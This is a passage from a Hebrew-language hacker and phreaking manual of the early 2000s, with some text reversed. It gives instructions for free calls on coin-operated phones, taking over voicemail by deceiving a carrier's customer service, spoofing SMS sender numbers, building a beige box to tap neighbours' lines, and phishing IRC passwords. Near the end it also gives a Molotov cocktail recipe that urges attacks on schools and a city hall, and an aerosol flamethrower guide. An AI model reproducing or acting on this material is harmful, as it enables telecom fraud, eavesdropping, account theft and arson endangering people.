‫‪ FM‬כד ‪ - - 108‬רדיו ‪88‬‬
‫עד ‪ - - 136‬מטוסים ‪108‬‬
‫עד ‪ - - 144‬צבא ‪136‬‬
‫עד ‪ - - 150.6‬צבא ‪148‬‬
‫עד ‪ - - 153‬מוניות ‪152‬‬
‫עד ‪ - - 155‬מכבי אש ‪154‬‬
‫עד ‪ - - 156‬משטרה ‪155‬‬
‫עד ‪ - - 158‬ספינות ‪156‬‬
‫עד ‪ - - 160‬משטרה ‪158‬‬
‫עד ‪ - - 174‬ממשלתי ‪162‬‬
‫עד ‪ - - 220‬טלוויזיה ‪174‬‬
‫עד ‪ - - 454‬משטרה ‪453‬‬

‫‪140‬‬
‫עד ‪ - - 460‬משטרה ‪458‬‬
‫‪By AiTi‬‬

‫‪141‬‬
‫פריצה לטלפונים שעובדים על מטבעות‬

‫‪:‬הקדמה‬
‫אני בטוח שחלקכם כבר שמעתם על שיטה זו או אחרת לשיחות חינם‪ ,‬גם אם השיטה הייתה‬
‫‪...‬במקור רעיון שלי‬
‫‪....‬השיטה הבאה תעבוד ב ‪ 80%‬מהטלפונים‪ ,‬לא כמו שיטה אחרת שתעבוד אולי רק על ‪5%‬‬

‫?‪ CoCot‬מה זה טלפון מופעל מטבעות‬

‫?אתם מכירים את הטלפונים הציבוריים שעובדים על מטבעות‬


‫הם לא שייכים לבזק אלא שייכים לחברת התקשורת המחזיקה אותה‪ ,‬לבעל החנות שבה נמצא‬
‫‪'..‬הטלפון וכו‬
‫‪.‬אחת הבעיות עם הטלפונים האלו זה שאי אפשר להתקשר אליהם‪ ,‬אבל כן יש להם מספר‬
‫מה שמיוחד בטלפונים האלו זה שהם עובדים על קו רגיל של בית‪/‬עסק ולא על‬
‫‪...‬קו מיוחד כמו הטלפונים הציבוריים‪ ,‬בגלל זה יש כמה שיטות להרוויח באלה שיטות חינם‬

‫‪!:‬אז הנה השיטה‬


‫‪%%%%%%%%%%%%%%‬‬
‫('קודם כל תמצאו טלפון כזה שמופעל על כסף (בביה"ס‪ ,‬בקניון‪ ,‬בבית‪-‬חולים‪ ,‬במועדון וכו‬
‫‪',‬עכשיו תיגשו אליו ותחייגו מספר ‪ 1800‬כלשהוא‪ ,‬או שתתקשרו ל ‪ 199‬וכו‬
‫בדרך כלל הטלפון לא יצטרך כסף‪ ,‬אבל אם הוא כן יבקש אז תשלמו‪ ,‬הוא יחזיר את הכסף אחר‬
‫‪...‬כך‬
‫(!כשיענו אז תתחילו להגיד שטויות‪ ,‬עד שינתקו לכם‪( .‬אל תנתקו בשום מקרה‬
‫?מה אתם שומעים עכשיו אחרי שניתקו‬
‫‪1. Krench‬‬
‫(‪...‬צליל חיוג! (בפממממממ ‪2.‬‬

‫??מה קרה אתם שואלים‬

‫כאשר אתם מרימים את השפורפרת בהתחלה תשמעו צליל חיוג מזוייף‪ ,‬שמיוצר על ידי הטלפון‬
‫‪....‬ולא על ידי הפולסים בקו‬

‫!עכשיו יש לכם צליל חיוג ואתם יכולים להתקשר לכל מקום‬

‫!רגע‪ ,‬על מה אתה מדבר? שאני מנסה לחייג המקשים לא מגיבים‬


‫‪...‬זה היה אבטחה עלובה של הטלפון‬
‫‪:‬עכשיו יש לכם ‪ 2‬אפשרויות‬

‫‪.‬מארה"ב‪ ,‬שעושה צלילי חיוג ואז תוכלו להשמיע את הצלילים לטלפון ‪ Tone dialer‬לקנות ‪1.‬‬

‫‪.‬להשתמש בשיטת חיוג הישנה של פולסים ‪2.‬‬


‫‪:‬השיטה עובדת כך‬
‫(כדי להקיש את הספרה ‪ 1‬מקישים פעם אחת על כפתור הניתוק (איפה שמניחים את השפורפרת‬
‫(כדי להקיש את הספרה ‪ 2‬מקישים שתי פעמים על כפתור הניתוק (איפה שמניחים את השפורפרת‬
‫כדי להקיש את הספרה ‪ 3‬מקישים שלוש פעמים על כפתור הניתוק (איפה שמניחים את‬
‫(השפורפרת‬
‫‪.‬מקישים על הכפתור לבערך רבע שנייה‬
‫‪.‬כדי להקיש ‪ 0‬לוחצים ‪ 10‬פעמים‬
‫!אתם יכולים לנסות את השיטה בטלפון בבית שלכם‬

‫‪142‬‬
‫!עכשיו אתם יכולים להתקשר לכל העולם‬
‫!תתקשר למספרי סקס‪ ,‬פלאפונים‪ ,‬כווית וסתם להתקשר לסין‬

‫!ועכשיו בונוס‬

‫‪18.2.2001‬‬ ‫בונוס‪ :‬כיצד לפרוץ לטלפונים מופעלי מטבעות‬


‫‪%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%‬‬

‫‪ AiTi‬נכתב על ידי‬

‫!ניסיתם פעם להתקשר לטלפון ציבורי? אפשר‬


‫‪...‬יש לו מספר שמופיע למעלה‪ ,‬מעל הטלפון‬
‫(אי‪-‬אפשר להתקשר‪( ...‬רק בשביל שבעלי הטלפון הזה ירוויחו כסף ‪cocot‬אבל ל‬
‫‪,‬אבל זה לא אומר שאין לו מספר‬
‫היחידים שמתקשרים למספר הזה הם החברה שבנתה את הטלפון‪ ,‬כדי לנהל אותו ולשנות לו‬
‫‪.‬הגדרות‬
‫כדאי להשיג את המספר אתם מכניסים שקל לטלפון‪ ,‬מקישים ‪ ,110‬רושמים את המספר‪ ,‬הכסף‬
‫‪,‬יחזור אליכם‬
‫!ויש לכם את המספר‬
‫‪:‬כאשר אתם מתקשרים למספר הזה אתם תשמעו אחד משתי דברים‬

‫קול ממוחשב המבקש ממך להכניס את סיסמתך ‪1.‬‬


‫(!בתוך טלפון ‪bps‬צליל של מודם מוזר (כן‪ ...‬מודם במהירות ‪2. 300‬‬

‫‪.‬במקרה הראשון אתם צריכים לנחש את הסיסמא‪ ,‬ואז תוכלו לשנות הגדרות‬
‫‪.‬ובמקרה השני אתם צריכים להתחבר לטלפון דרך היפר טרמינל וגם אז הטלפון יבקש סיסמא‬
‫(?אחרי שפרצתם תוכלו בדרך גלל גם לשנות את המחיר של שיחה (‪ 5‬אגורות‬

‫‪By AiTi‬‬

‫‪143‬‬
‫תדרים‬
‫ רשימה של תדרים ברשת ה‬DTMF.

‫ קבוצה נמוכה‬:

1, 2, 3, A < 967Hz

4, 5, 6, B < 770 Hz

7, 8, 9, C < 825 Hz

‫קבוצה הכי גבוהה‬

* 0 # D < 941 Hz

^ ^ ^ ^
1209Hz 1336Hz 1477Hz 1633Hz

& ‫ נא לעבור למצב אנגלית‬, CTRL+SHIF )‫(שמאלי‬.

‫תודה ל‬: AiTi, Julian Macassey, N6ARE.


------------------------------------------------------------------------------------
‫הנה רשימה של מכשירים שניתן לצרוב את הקווים ואולי אם תהיו נחמדים אני יוציא על זה‬
‫מדריך‬,
8-: ‫עוד איזה שנה אולי‬

‫הרשימה‬:
MEI HT5000: 3 Diamondtel 200: 1 Alpine 9510: 1
Motorola SCN2025A: 4 Mercury 200: 2 Diamondtel 90X: 1 Alpine 9511: 1
Motorola SCN2034A: 4 Mitsubishi 460 XTAL: 2 Diamondtel 95: 1 Amps ALL: 2
Motorola TLN2574A: 4 Mitsubishi 555: 1 Diamondtel Mesa 50: 4/2 Antel Radiant 832XL: 2
Motorola TLN2659A: 4 Mitsubishi 560: 1 Diamondtel Mesa 52: 4 Ara Pro-Comm 1800: 1
Motorola TLN2724A: 4 Mitsubishi 600: 1 Diamondtel Mesa 52A: 4 Astrotel 500: 1
Motorola TLN2726A: 4 Mitsubishi 700: 4 Diamondtel Mesa 55: 2 Astrotel 580: 1
Motorola TLN2733A: 4 Mitsubishi 800: 1 Diamondtel Mesa 55AX: 4 Astrotel 591: 1
Motorola TLN2734A: 4 Mitsubishi 900: 1 Diamondtel Mesa 55BX: 4 AT&T 1710: 1
Motorola TLN2777A: 4 Mitsubishi 1500: 1 Diamondtel Mesa 60: 4 Audiote/Toshiba CMT500: 2
Motorola TLN2867A: 4 Mitsubishi Mark 1 301: 2 Diamondtel Mesa 60X: 4 Audiotel BC-20: 2
Motorola TLN2879A: 4 Mitsubishi Mark 1 401: 2 Diamondtel Mesa 80: 4 Audiotel CMT-125: 2
Motorola 8000H: 4 Mitsubishi Mark 1 450: 2 Diamondtel Mesa 90X: 4 Audiotel CMT-135: 2
Motorola Ultra Classic: 4 Mitsubishi Mark 1 455: 2 Diamondtel Mesa 95: 4 Audiovox BC20: 2
Mitsubishi Mark 1 500: 2 Diamondtel Mesa 99X: 4 Audiovox BC40: 1
Mitsubishi Mark 1 555: 2 DYNA TAC 2000: 2 Audiovox BC45: 1
Mitsubishi Mark 1 560: 2 Dyna Tac 2000X: 2 Audiovox CMT-125: 2
Mitsubishi Mark 1 600: 2 Dyna Tac 4000: 2 Audiovox CMT-135: 2
Mobira ME-300: 1 Dyna Tac 4500L: 2 Audiovox CMT1700: 1
Mobira ME-53A: 3 Dyna Tac 4500XL: 2 Audiovox CMT400: 1
Mobira ME-57: 1 Dyna Tac 6000: 2 Audiovox CMT405: 1
Mobira TPA 4/400: 1 Dyna Tac 6000X: 2 Audiovox CMT450: 1
Mobira TPA 5/500: 1 Dyna Tac 6000XL: 2 Audiovox CMT550: 1
Motorola SCN2115A: 4 E.F. Johnson: 2 Audiovox CMT600: 1
Motorola SCN2119A: 4 Fujitsu 170 PORTABLE: 1 Audiovox CMT605: 1
Motorola SCN2124A: 4 Fujitsu 183-IIX: 1 Audiovox CMT750: 1
Motorola SCN2126A: 4 Fujitsu FM80M-360: 2 Audiovox CTX1500: 1
Motorola SCN2133A: 4 Fujitsu FM80M-362: 2 Audiovox CTX2500: 1
Motorola SCN2134A: 4 Gateway CP 900: 1 Audiovox CTX4000: 1
Motorola SCN2020A: 4 GE Star: 2 Audiovox CTX5000: 1
Motorola SCN2021A: 4 Goldstar 5000: 1 Colt Transportable: 1
Hitachi CR2100: 1 Diamondtel 100: 1
Hitachi CR2100H: 1

144
‫‪By Pirs[i]ng‬‬
‫שיחות חינם בטלפונים שעובדים על מטבעות ‪ -‬שיטה ב‬

‫‪ COCOT / Pirs[i]ng‬שיטה לעשות שיחות חינם בטלפונים של‬


‫‪ - "Customer Owned Customer Operated Telephone".‬הוא ‪COCOT‬‬
‫‪'.‬זאת אומרת ‪ -‬טלפון אשר נמצא במסעדה‪,‬ספריה‪ ,‬קניון וכו‬
‫‪.‬יש בעיה בטלפונים האלה שאי אפשר לחייג אליהם‪ ,‬אבל בכל זאת יש להם מספר‬
‫‪.‬בזק לא מחזיקה את המכשירים האלה אלה בעל העסק שבו נמצא המכשיר‬
‫‪,‬המכשיר לא עובד על קו כמו של טלפון ציבורי לכן יש כמה שיטות להרוויח שיחות חינם‬
‫‪.‬פה אני יראה לכם שיטה שאני יודע שהיא עבדה פעם אבל לא בטוח שהיא תעבוד לכם עכשיו‬
‫כי האנשים שמחזיקים את הטלפונים האלה כל יום נזהרים יותר יותר מפריקרים ושמים יותר לב‬
‫‪.‬לזה‬
‫‪.‬אז אם הטריק לא יעבוד אל תשלחו לי דואר שזה לא עובד כי שום דבר לא מובטח‬
‫‪(.‬בלבד ‪ )COCOT‬לכו לטלפון המבוקש‬
‫‪(.‬חייגו לאחד המספרים שאתם מכירים באזור ‪( 1-800‬שיחות חינם‬
‫‪.‬המכשיר אמור להרשות לכם לקיים את השיחה‬
‫‪,‬התחילו לדבר עם מי שעונה לכם ודברו שטויות או משהו כזה‬
‫‪.‬תגרמו לו לנתק את השיחה קח שאתם לא נתקתם‪ ,‬אלא מי שדיברתם איתו‬
‫‪.‬לאחר מכן חייגו את המספר שרציתם מהתחלה וזה אמור לעבוד‬
‫‪.‬אם זה לא עובד פעם ראשונה נסו שוב אבל אם זה לא עובד הרבה פעמים אז וותרו כי זה לא יפעל‬

‫‪.‬חבר ותיק מאירופה ‪ - KoliChoice -‬תודה רבה ל &&‬

‫‪By Prising‬‬

‫‪145‬‬
‫פריצה למשיבון סלולרי‬

‫כל הכתוב כאן הוא ללימוד החומר ואין להשתמש בו‪ ,‬כל דבר אשר יקרה לכם או לחבריכם לא‬
‫‪.‬באחריות הכותב‬

‫‪:‬אתם בוחרים מספר כלשהו‪ ,‬נגיד הוא‬


‫‪053000000‬‬
‫‪052000000‬‬
‫‪058000000‬‬
‫(אתם הולכים לטכנאות של הפלאפון (דרך קוד טכנאי של המכשיר‬
‫‪.‬מוצאים את השורה של המספר ומשנים אותו למספר המבוקש אם שינוי קטן‬
‫אם הוא היה‬
‫‪052 - 000 - 000‬‬
‫| | |‬
‫‪2352 000 000‬‬

‫‪053 - 000 - 000‬‬


‫| | |‬
‫‪2353 000 000‬‬

‫‪058 - 000 - 000‬‬


‫| | |‬
‫‪2358 000 000‬‬

‫‪ :‬הסבר פורט יותר‬


‫אזור סלקום ‪235 -‬‬
‫הספרה האחרונה בקידומת ‪3,5,8 -‬‬
‫המספר כרגיל ‪000000 -‬‬

‫אתם משנים למספר שרציתם ואז מתקשרים לשירות לקוחות ‪123* :‬‬
‫אתם אומרים‪ :‬שלום‪ ,‬יש לי משיבון ושכחתי את הסיסמא‪ ,‬אפשר לברר אצלכם או אולי לאפס לי‬
‫הסיסמא‬
‫של המשיבון או משהו כזה (דברו רגיל וחופשי)‪ ,‬היא אומרת מה המספר שאתה מדבר ממנו (יש‬
‫‪(,‬להם שיחה מזוהה‬
‫אתה עונה את המספר שכתבת בטכנאות של הקוד רק את *המספר המקורי היא אומרת הוא‬
‫יאופס תוך ‪ 10‬דקות‬
‫‪.‬הקוד יהיה ‪ .)1234‬אתה אומר‪ :‬טוב תודה‪ ,‬להתראות)‬
‫‪----------‬סוף‪----------‬‬

‫‪.‬אם כתבת ‪ 2353000000‬אתה מחזיר אותו למקור‪* 053-000000 ,‬‬


‫ואז מאיזה מכשיר שאתם רוצים אתם מתקשרים ויודעים את הסיסמא של המשיבון של הקו‬
‫‪.‬שבחרתם‬

‫‪.‬טיפים ‪ -‬תתלבשו על מכשירי על טוקמן‪ ,‬כי שואלים פחות שאלות זה יותר קל לתחמון‬
‫‪.‬עכשיו שירות הלקוחות של טומקן זה *‪779‬‬

‫בונוס אם רשמתם בטכנאות של הפלאפון מספר של מכשיר טוקמן אתם גם תמיד יכולים‬
‫להתקשר ל *‪777‬‬
‫‪.‬ולברר מצב חשבון עדכני של הקו‪ .‬אבל זה לא תמיד עובד‪ ,‬תלוי בקו ובמכשיר‬

‫‪146‬‬
By Pirsing

147
‫זיוף מספר השולח בשילחת ההודעות‬

‫‪:‬מצרכים דרושים‬
‫‪ I.‬מכשיר פלאפון נוקיה ‪ 5120/6120‬בקו סלקום גירסא &‬
‫היא שבתפריט הודעות טקסט מופיעה האפשרות כתיבת הודעות‪ ,‬אין אותה בגירסא ‪ I‬גירסא) &‬
‫(‪A‬‬
‫(אם אינה נתנת האפשרות במכשיר לשלוח הודעות כתובות אנא סגרו את החלון) &&‬
‫‪--------------------------------------------------------------------------------------------‬‬
‫‪ :‬יאללה לעבודה‬
‫*הולכים לטכנאות של הפלאפון (דרך קוד טכנאי של המכשיר) שהוא‪1. 3001#12345# :‬‬
‫מוצאים את השורה של המספר ומשנים אותו למספר המבוקש אם ‪2.‬‬
‫‪.‬שינוי קטן‪ .‬כתבתי על זה במדריך על פריצה למשיבונים אבל הנה תזכורת‬
‫‪:‬המספר הוא‬
‫‪052000000 -->> 2352000000‬‬
‫‪053000000 -->> 2353000000‬‬
‫‪058000000 -->> 2358000000‬‬
‫‪.‬משנים את השורה ושומרים ויוצאים‪ ,‬מפעילים את המכשיר מחדש ‪4.‬‬
‫‪,‬כדי לוודא שהכל עובד נכון אנא חייגו לאחד המספרים הנזכרים למטה &&&‬
‫‪.‬אם קבלתם צליל חיוג אתם בסדר‬
‫‪(.‬טוקמן בלבד) ‪*777‬‬
‫‪(.‬טוקמן בלבד) ‪*779‬‬
‫‪(.‬כל הלקוחות) ‪*123‬‬
‫לא חובה אבל אפשרי‪ ,‬אם לא קיבלתם צליל נורמלי אז בדקו את המספר שכתבתם באבטחה ואת‬
‫‪.‬המספר שחייגתם‬
‫‪.‬אם עדיין יש בעיות אז כנראה היא במכשיר אבל אם לא אז שלחו לי אימייל ונראה מה קורה‬

‫‪:‬יאללה נמשיך‬
‫‪ :‬לכו ל ‪5.‬‬
‫‪.‬תפריט‪ ,‬הודעות‪ ,‬הודעות טקסט‪ ,‬כתיבת הודעות‬
‫‪(.‬כתבו הודעה (מה שבא לכם‬
‫‪.‬עכשיו משהו כדי שתדעו לידע אישי‬
‫‪.‬כאשר ההודעה תגיע לנמען המספר השולח יהיה זה שכתבתם בקוד טכנאי &&&&‬
‫‪.‬כמו כן יש לוודאות שהמצב של הקו שאתם שולחים ממנו (יותר ממנו עליו) לא במינוס בחשבון‬
‫! כמו שאמרתי טוקמן תמיד עדיף‪ .‬פחות מורכז ופשוט יותר &&&&&‬

‫>‪<----------------------------------------------------------------------------------------‬‬
‫! עכשיו אני הולך להגיד משהו שקצת ירתיע אתכם אבל זה שטויות‪ ,‬מנסיון אישי‬
‫‪,‬יש סיכוי קלוש ביותר שדווקא תתבצע עוד קבלת‪-‬שליחת נתונים על הקו שעליתם עליו‬
‫אז יש סיכוי שיעלו עליכם אבל לא יאתרו אתכם אבל כמו כן יבדקו של מי המכשיר‬
‫‪:‬ואז יבואו אליכם אבל לא לפחד יש דרכים לצאת מזה‬
‫‪.‬גנבו לי את הפלאפון והרגע מצאתי אותו ‪1.‬‬
‫‪.‬איזה חבר שלי שיחק אותה מבין ועשה לי איזה שינויים בו לא ידעתי מה הוא עושה ‪2.‬‬
‫‪.‬איבדתי את המכשיר ורק עכשיו מצאתי אותו ‪3.‬‬
‫אבל כל זה סיכוי של ‪ 1‬למיליון שזה יקרה אבל אלה שקוראים את המדריכים שלי צריכים לדעת‬
‫‪.‬הכל‬
‫>‪<----------------------------------------------------------------------------------------‬‬

‫‪By Pirsing‬‬

‫‪148‬‬
‫‪Beige Box‬‬

‫הערות‪ :‬אני לא אחראי לכל שימוש בחומר הכתוב כאן‪ ,‬חומר זה הוא‬
‫!למטרות לימודיות בלבד ו‪++--‬אין‪ --++‬להשתמש בו‬

‫‪.‬מי שמתחיל בפריקינג שיקרא קודם כל את הטקסט שאלות תשובות‬

‫??‪ Beige Box‬מה זה‬


‫‪+++++++++++++++++‬‬
‫‪,‬היא קופסא המאפשרת לך להתחבר לקווי טלפון של אנשים אחרים ‪Beige Box‬‬
‫‪.‬להתקשר על חשבונם‪ ,‬ולצותת לשיחות שלהם‬

‫?מה אני צריך כדי לבנות את הקופסא‬


‫‪++++++++++++++++++++++++++++++++‬‬
‫יש שתי שיטות להשתמש בקופסא‪ :‬אחת בדירות דרך הקיר‪ ,‬והשנייה דרך קופסאת הטלפון‬
‫הראשית‬
‫שנמצאת ברחוב (אתם מכירים את הקופסאות הגדולות האלה ברחוב שיש עליהם סמל של בזק‪,‬‬
‫‪?(.‬נכון‬

‫‪:‬חומרים לשיטה הראשונה‬


‫פטיש @‬
‫חוט טלפון @‬
‫מלחם @‬
‫שקע טלפון חדש ל מחובר @‬
‫פנס @‬
‫קצת בדיל @‬
‫טלפון @‬
‫‪...‬קצת חוש טכני @‬

‫‪:‬חומרים לשיטה השנייה‬


‫טלפון ‪%‬‬
‫חוט טלפון ‪%‬‬
‫מברג עם ראש שטוח ‪%‬‬
‫פנס ‪%‬‬
‫‪...‬קצת חוש טכני ‪%‬‬

‫כיצד לבנות‬
‫&&&&&&&&&&&‬

‫‪.‬השיטה הראשונה תוסבר בהסבר על השימוש‬

‫‪:‬שיטה שנייה‬
‫(?קחו את חוט הטלפון‪ ,‬וחברו אותו לטלפון‪( .‬זה היה קשה נכון‬

‫שימוש‬
‫^^^^^^‬
‫‪:‬שיטה ראשונה‬
‫‪.‬קודם כל תחתכו את חוט הטלפון שלכם והפרידו בין החוט הירוק לאדום‬
‫(תמצאו את קופסת החשמל הכללית שלו וסגרו לו את החשמל‪( .‬אתם לא רוצים להתחשמל‬
‫‪.‬אחר‪-‬כך קחו את הפטיש ותשברו חלק מהקיר המשותף‪ ,‬בחלק התחתון‬

‫‪149‬‬
‫‪.‬הסתכלו פנימה עם פנס‪ ,‬ותחפשו חוטי טלפון‬
‫אחרי שמצאתם תלחימו את החוט הירוק עם החוט הירוק שלכם‪ ,‬ואת החוט האדום עם החוט‬
‫‪.‬האדום שלכם‬
‫קחו את החוט שלכם וחברו את הקצה השני לטלפון שלכם‪ .‬הרימו את השפורפרת‪ ,‬שומעים צליל‬
‫?חיוג‬
‫‪.‬אם כן אז תחזירו לשכנים את החשמל שלהם‬
‫(שיטה זה יכולה לעבוד בשינויים קלים גם כדי לגנוב חשמל וכבלים)‬

‫‪:‬שיטה שנייה‬
‫‪.‬לכו אל הקופסאת טלפון של בזק‬
‫‪.‬פתחו אותה (חלקם לא יעבדו כי יהיה צריך מפתח) בעזרת המברג‬
‫‪.‬חברו את חיבור הטלפון לאחד משקעי הטלפון‬
‫‪.‬אם אתם שומעים צליל חיוג הישארו בחיבור הזה‪ ,‬אם לא אז תחברו לבא אחריו‬
‫‪.‬השיטה הזה תעבוד גם בחיבור של בית בודד בלבד‪ ,‬אך בדרך כלל צריך סולם בשביל זה‬

‫?מה לעשות אחרי שהתחברתי‬


‫************************‬
‫‪.‬שהוא בישראל ‪ 110‬ותגלו מה המספר של מי שהתחברתם אליו ‪ ANI‬קודם כל תתקשר למספר‬
‫עם מישהו מדבר בקו הזה אתם יכולים להישאר ולהאזין‪ ,‬אך עם הקו לא בשימוש אתם יכולים‬
‫‪ )$$$Sex(.‬להתקשר לכל מספר שאתם רוצים‬

‫הערות קטנות לסיום‪* :‬אני לא אחראי לכל שימוש בחומר הכתוב כאן‪ ,‬חומר זה הוא למטרות‬
‫ו‪++--‬אין‪ --++‬להשתמש בו‬ ‫!לימודיות בלבד‬
‫כל הכתוב כאן הוא בלשון זכר אך מכוון לכולם‪ ,‬היתיי יכול לכתוב אחרת אבל *‬
‫לי שאין בכלל בישראל פריקריות‬ ‫‪.‬נראה‬

‫‪By AiTi‬‬

‫‪150‬‬
‫פריצת חדרים ב ‪Mirc‬‬

‫???‪....‬למה לי ללכלך את הידיים וליפרוץ לחדר‬

‫(‪...‬אם אין לכם את הסיבה הזאת‪ ...‬או אחרת ששווה‪ ...‬אל תיפרצו זה לא שווה את המאמץ)‬

‫ת= תיראו‪ ..‬נגיד‪ ..‬שיש איזה אופ בחדר גדול‪ ..‬והאופ הזה‪ ..‬זורק אותכם בגלל שלא יודע‪...‬‬
‫אמרתם משהו על הפוקימון שהוא אוהב‪ ....‬נגיד אז הוא זורק אותכם‪( ....‬זאת הסיבה הכי‬
‫(‪...‬מומלצת לפרוץ לחדרים‪ ...‬זה והיתערבות‬
‫‪..‬אז בכל אופן הוא זורק אותכם ואתם רוצים להחזיר לו‬

‫!?!?ש= נו‪ ...‬אז איך אני מחזיר‬


‫ת= זה הטקסט‪ ..‬דבר ראשון‪ ....‬צריך למצוא סרבר‪ ...‬אבל כזה שאולי ויפול לכמה שניות‪ ..‬אחרי‬
‫שמצאתם אחד כזה (נורא קשה לימצוא!!!) אתם פותחים שם את החדר ומשיגים אופ‪ ..‬תירשמו‬
‫‪....‬שם את החדר זה נותן מעמד של פאונדר‬
‫‪...‬אתם תוכלו לחזור לשרת שהוא יחזור (‪.. )Split‬בכל אופן‪ ...‬שהשרת יפול‬
‫!!!ואז להיתחבר לשרת של החדר‪ ...‬ונחשו מה? יהיה לכם שם אופ!!! כן כן כן‬
‫^‪By ^DaK0Da‬‬

‫‪151‬‬
‫פריצת ניקים ב ‪Mirc‬‬

‫‪...,‬יש כמה דרכים‪ ...‬אני יגיד ‪ 3‬ושלושתם דורשים כושר שיכנוע מסויים‬
‫אתם רק צריכים איזה אחד פרייאר‪ ...‬אבל ממש פרייאר‪ ....‬כזה שאם תגידו לו להיזדהות לניק‬
‫‪...‬אצל הבוט החדש שלכם הוא יעשה את זה טוב‬
‫‪OoOoOoOoOoOOoOOOooooooooOOooooOoOOOOOOoooOOOooOOOooOOOOo‬‬

‫(‪...‬דרך א‪( -‬אנ'לא בטוח שזה עובד‬


‫‪:‬זה אמור ללכת ככה‬

‫‪<You> Yo, Fuck Man...‬‬


‫? >‪<@Fuck-Man‬‬
‫‪<you> plz... chak It Out... alt+0266 On Your Number pad...‬‬
‫‪<@Fuck-Man> Fine...‬‬
‫‪<@Fuck-MAN> n12snfokk‬‬
‫!!!‪<you> nice password ass hole‬‬

‫‪OOOoooOOOOOOooOOOooOOOOooooOOOoooOOOOooooOOOOOoooOOOooo‬‬
‫(‪...‬דרך ב‪( -‬לא יעבוד על כאלו שמבינים‬

‫(‪...‬ליכתוב דוגמא לסקריפט (רק למי שיודע‬


‫(‪... )auto-identify‬לישלוח לקורבן ולהגיד לו לבדוק את ההיזדהות האוטומטית‬
‫‪...‬הפקודדה צריכה להראות כך‬

‫"?‪Auto-Ident:/msg MemoServ send <your nick> $$?="password to auto-identify‬‬

‫(‪...‬תגידו לקורבן לשים את זה בא פופאפ‪( ...‬הוא חייב להיות דביל‬

‫‪OOOoooOOOOOooOOOOoooOOOoooOOOOOooOOOOooooOOOOooOOOOooo‬‬

‫‪...:‬עוד אחד‪ ...‬זה ממש צריך להיות ילד פרייאר כדי שזה יעבוד‬
‫‪<|[You]|> y0 zero33‬‬
‫?‪<zero33> Yeah‬‬
‫‪<|[You]|> Here's the new bot. I'm setting up accounts now. he Will Bild A server For‬‬
‫‪You.‬‬

‫‪Msg it this-‬‬
‫>‪add+protected user <your nick> <your nick's password‬‬
‫‪<zero33> ok‬‬

‫‪:‬הערה‬

‫למבינים בסקריפטינג‪ ...‬כדי לבנות בוט ולא להוריד אחד‪ ...‬כי אז‪ ..‬לא יאמינו לכם‪ ..‬אם אתם‬
‫מורידים אז‬
‫‪ www.mircx.com‬תורידו אחד מהאלה של‬
‫‪...‬תיבחרו אחד מהאמצע כדי שאף אחד לא יזהה‬

‫^‪By ^DaK0Da‬‬

‫‪152‬‬
‫בקבוק תבערה‬

‫‪...(:‬הכי פשוט זאת השיטה הכי פשוטה והכי טובה שיש)‬

‫‪:‬חומרים‬

‫(‪..‬א‪ -‬בקבוק זכוכית‪( ...‬מומלץ של בירה כדי שיהיה מה לשתות לפני‬


‫‪...‬ב‪ -‬מפית נייר פשוטה‬
‫‪...‬ג‪ -‬בקבוק של אלכוהול‬
‫‪...‬ד‪ -‬זריזות‬

‫‪:‬אופן הביצוע‬

‫‪!!!...‬שתו את כל הבירה ואל תנקו את הבקבוק‬


‫(‪...‬אחרי זה שימו הרבה הרבה הרבה אלכוהול בפנים (אפשר עד החצי‪ ..‬הכי טוב‬
‫(‪...‬ומפית נייר‪( ...‬שחלק מהמפית יהיה בחוץ‬
‫‪...‬שרפו את הקצה של המפית‪ ...‬וזרקו את הגפרור‬
‫‪.‬לתוך הבקבוק‬

‫‪...‬החלק היפה‬

‫‪..‬עכשיו זרקו את הבקבוק ממש מהר‬


‫‪:‬ושתיי דברים אולי יקרו‬
‫‪...‬הוא יתפוץ באוויר להרבה הרבה רסיסים מהחום ‪1-‬‬
‫‪...‬הוא ישרוף כל דבר שהוא יגע בוא ‪2-‬‬

‫‪..‬בכל מקרה זה ס ‪22‬ה לזרוק את זה בתוך הבית ספר היסודי שלכם‬


‫‪...‬או בבית ספר הנוכחי שלכם‬

‫‪..‬או סתם ליד בניין העיריה‬


‫‪...‬בכל אופן אני סומך עליכם שתהנו‬

‫‪By ZeBrA‬‬

‫‪153‬‬
‫איך לבנות לביור ‪Flame Machine‬‬

‫‪“The girl is mine” - Micheal Jackson‬‬

‫‪ ...‬מה שלומכם ? אצלי הכל טוב‬

‫‪ ...‬השיטה היא ישנה ומוכרת‪ ,‬כתבתי את הטקסט כדי להבהיר כמה נקודות שוב‬

‫‪ :‬חומרים‬

‫‪ ( .‬ספריי ( כמו ביום העצמאות ‪ -‬המזויפים הם הכי טובים ‪1.‬‬


‫מצית ( אפשר קטנה אבל עדיף את המצית הענקית שפעם לפני שהיו תנורים חשמליים ‪2.‬‬
‫השתמשו במטבח ‪ -‬אפשר להשיג בקו‪-‬אופ ( פעם שיחקתי עם זה בסופר והאבטחה בא עלי ‪-‬‬
‫‪(.‬להוריד פרופיל‬
‫‪ ): .‬אומץ ‪ -‬אני לא אחרי אם נשרף לחברה שלכם השער ‪3.‬‬

‫‪ ...‬שיטה א ‪ -‬עובדת עם ספריי בלחץ נמוך‬

‫להתחיל להשפריץ ספריי לקרב בעדינות את המצית והכל מתחיל להיות חם ‪ ...‬שרוף ‪ ...‬אש ‪- ...‬‬
‫‪.‬כלומר ברגע זה יש לכם לביור‪ -‬עם לביור זה אפשר לשרוף דשא‪ ,‬שוטר ואפילו את בן‪-‬לאדן השובב‬

‫שיטה ב ‪ -‬עובדת תמיד‬

‫לסיים את הבקבוק ולדאוג שהבקבוק ישפריץ אוויר‪ ,‬לקרב את המצית בשיא הזהירות לאוויר‬
‫והינה יש לכם לביור‪ .‬יש להזהר נורא בשיטה זאת משום שאנשים טועים וחושבים שהאוויר הזה‬
‫‪ ): .‬לא יביא ללהבה גדולה אבל ‪ ...‬תנסו ותראו‬

‫? מה לעשות עם הלבן של הספריי כשהוא על הרצפה‬

‫אפשר להדליק אותו‪ ,‬הוא דליק נורא ‪ .‬אני ממליץ לעשות קו ארוך של ספריי ולהדליק ‪( ...‬בסוף‬
‫‪ ( .‬הקו אפשר להניח כמה נפצים ‪ ...‬או איזה טיל טומהוק (‪ :‬ואז יהיה לכם מצב רוח פ ‪33‬ות‬

‫‪By Razor \ Old-Hacker‬‬

‫‪154‬‬
‫‪Windows Tricks Part 1‬‬
‫המדריך הזה יספר לך כיצד תוכל לשנות מלא דברים במערכת הפעלה ה"מהוללת" – ‪Windows‬‬
